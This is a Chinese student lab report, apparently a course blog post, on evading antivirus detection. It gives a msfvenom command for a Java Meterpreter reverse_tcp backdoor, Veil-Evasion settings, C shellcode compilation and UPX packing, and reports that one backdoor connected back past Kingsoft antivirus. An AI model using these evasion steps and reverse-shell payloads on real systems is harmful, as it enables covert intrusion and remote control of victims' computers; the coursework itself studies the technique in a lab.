基础问题回答

  • (1)杀软是如何检测出恶意代码的?

  • 答:分析恶意程序的行为特征,分析其代码流将其性质归类于恶意代码.

  • (2)免杀是做什么?

  • 答:一般是对恶意软件做处理,让它不被杀毒软件所检测,也是渗透测试中需要使用到的技术。通常是要掩盖恶意代码的特征。

  • (3)免杀的基本方法有哪些?

  • 答:

    • 改变特征码

      • 如果你手里只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)

      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码

      • 用其他语言进行重写再编译(veil-evasion)
    • 改变行为

      • 通讯方式

        • 尽量使用反弹式连接
        • 使用隧道技术
        • 加密通讯数据
      • 操作模式

        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码

实验内容

实验环境

靶机:

系统:Windows7

杀软:金山毒霸 11.9.0

攻击机:

Kali 虚拟机

检测网站:

Viruscan

1.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧;(1.5分)

  • 使用msf编码器生成后门程序的Virscan检测结果



  • 生成jar文件

    用指令 msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.1.109 lport=5213 x> 5213_backjar.jar生成

    Virscan检测结果:

  • 使用veil-evasion生成

首先你需要用 sudo apt-get install 安装veil-evasion。

然后veil 命令进入。参考的是这里面的教程最新的Veil3.0的安装和使用 ,这个教程是杜可欣同学找的,我觉得挺好用的。

进入之后生成payload命令如下所示:

# list
# 1
# use 1
# list
# use 7

接着是设置LHOST和LPORT

[] set LHOST 192.168.199.149
[] set LPORT 5215
[] generate

需要设置你想生成的文件名:

文件生成成功:

msf模块地址

/usr/share/veil-output/handlers/payload15.rc

Virscan检测结果如下:



我传到电脑上,我的win7金山毒霸也没有任何提醒和拦截,有点想换软件了_(:3 」∠)_ 。

  • 用shellcode

先生成一个c语言格式的Shellcode数组

创建一个C文件:MSSC_5215.c(意为免杀shellcode),将上面生成的数组copy到该文件下,并写成C语言代码。

将C程序在codeblocks上编译得到.exe文件,在Virscan检测结果如下:





被7个软件查杀,比之前的9个好。

回连成功:

在win7电脑上显示未查杀到:

将程序在VS上编译得到.exe文件,在Virscan检测结果如下:



这个报毒最少,只有五个。

  • 加壳

使用i686-w64-mingw32-g++ MSSC.c -o MSSC_5215.exe

命令将该C语言代码MSSC.c转换为一个可在64位windows系统下操作的可执行文件MSSC_5215.exe

然后使用upx #需要加壳的文件名 -o #加壳后的文件名对其进行加壳

在Virscan检测结果如下:

(本来我以为可以多加几个壳然后提高免杀率,像前面的一样进行多次编码,然后提示不行,加壳好像只能做一次)

2. 通过组合应用各种技术实现恶意代码免杀(1分)

(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)

我的win7+金山毒霸构成了一个毫无威胁性的防御体系,早在前面中的过程就已经实现了免杀,但是我还是用veil得到的.exe文件又加了一个壳检测了一下, 也是显示扫描不到。



在Virscan检测结果如下:



显示是有8个报毒,其实效果一般,还不如那个用VS编译的。

3.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本(1分)

实践总结与体会

这次的实验让我深刻地认识到金山毒霸不太好用,尤其是再配上win7这个老系统,感觉毫无任何安全系数可言,时刻暴露在危险之下。然后看了几个查杀的结果,我发现江民杀毒还挺不错,360还是可以的,所以我打算换个杀软。然后就是感觉这次的实验技术性更强,有一些原理上的内容,是需要理解和学习的。而且这门课的实践很适合让我回去在爸妈面前展示,嘻嘻。

网络对抗技术 2017-2018-2 20152515 Exp3 免杀原理与实践的更多相关文章

  1. 2017-2018-2 20155228 《网络对抗技术》 实验三:MAL_免杀原理与实践

    2017-2018-2 20155228 <网络对抗技术> 实验三:MAL_免杀原理与实践 实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasi ...

  2. 20155325 Exp3 免杀原理与实践

    基础问题回答 杀软是如何检测出恶意代码的? 1.1 基于特征码的检测 1.1.1 特征库举例-Snort 1.2 启发式恶意软件检测 1.3 基于行为的恶意软件检测 免杀是做什么? 一般是对恶意软件做 ...

  3. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  4. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  5. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  6. 2017-2018-2 《网络对抗技术》 20155322 Exp3 免杀原理与实践

    #2017-2018-2 <网络对抗技术> 20155322 Exp3 免杀原理与实践 [-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实 ...

  7. 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...

  8. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  9. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

随机推荐

  1. Android:Error:Execution failed for task ':app:clean'. > Unable to delete directory

    as  clean项目之后有时候会报错. 可以找得到目录删掉,然后重启as,但是下次clean可能又会报类似的错误. 解决方法如下: 进入File-Setting-Build,Execution,De ...

  2. Expo大作战(十九)--expo打包后,发布分用程序到商店的注意事项

    简要:本系列文章讲会对expo进行全面的介绍,本人从2017年6月份接触expo以来,对expo的研究断断续续,一路走来将近10个月,废话不多说,接下来你看到内容,讲全部来与官网 我猜去全部机翻+个人 ...

  3. Expo大作战(十七)--expo结合哨兵(sentry)进行错误异常记录

    简要:本系列文章讲会对expo进行全面的介绍,本人从2017年6月份接触expo以来,对expo的研究断断续续,一路走来将近10个月,废话不多说,接下来你看到内容,讲全部来与官网 我猜去全部机翻+个人 ...

  4. LeetCode题解之Merge k Sorted Lists 解法二

    1.题目描述 2.分析 利用 vector 存储指针,同时合并k个链表. 3.代码 ListNode* mergeKLists(vector<ListNode*>& lists) ...

  5. Use Jupyter notebook on Fedora 28

    生产环境使用 Fedora 28, 并且需要搭建一个 Jupyter 的notebook 方便使用,所搭建的Jupyter 支持单人远程 密码访问 1. 安装 安装 Jupyter , 出错 [roo ...

  6. 'javac' 不是内部或外部命令,也不是可运行的程序

    今天在命令行中运行javac命令时发现 但是运行java命令却可以 查找jdk的安装路径发现,安装目录里面同时有jdk的文件夹和jre的文件夹 查看了jdk的目录发现jdk目录中也有一个jre文件夹 ...

  7. Alpha冲刺报告(6/12)(麻瓜制造者)

    今日已完成 邓弘立: 看github上的开源库 确定了几个对UI改进有帮助的第三方库 符天愉: 部署了用户修改信息,修改头像的接口,并且完成两个接口的api文档,复习了PHP的无限分类来实现商品的发布 ...

  8. sqlserver 镜像 断开连接 正在恢复+主机服务器关机用备用镜像

    如果主机坏了断开连接就用备机的镜像数据库 --主备互换,备机sql命令 USE master;   ALTER DATABASE test SET PARTNER FORCE_SERVICE_ALLO ...

  9. Java BAT大型公司面试必考技能视频-1.HashMap源码分析与实现

    视频通过以下四个方面介绍了HASHMAP的内容 一. 什么是HashMap Hash散列将一个任意的长度通过某种算法(Hash函数算法)转换成一个固定的值. MAP:地图 x,y 存储 总结:通过HA ...

  10. linux结束程序内存不会马上释放的解决方法

      Linux下频繁读写文件时,内存资源被耗尽,当程序结束后,内存不会释放需要清除缓存.Linux缓存有dentry,buffer cache,page cache. 注:Dentry用来加速文件路径 ...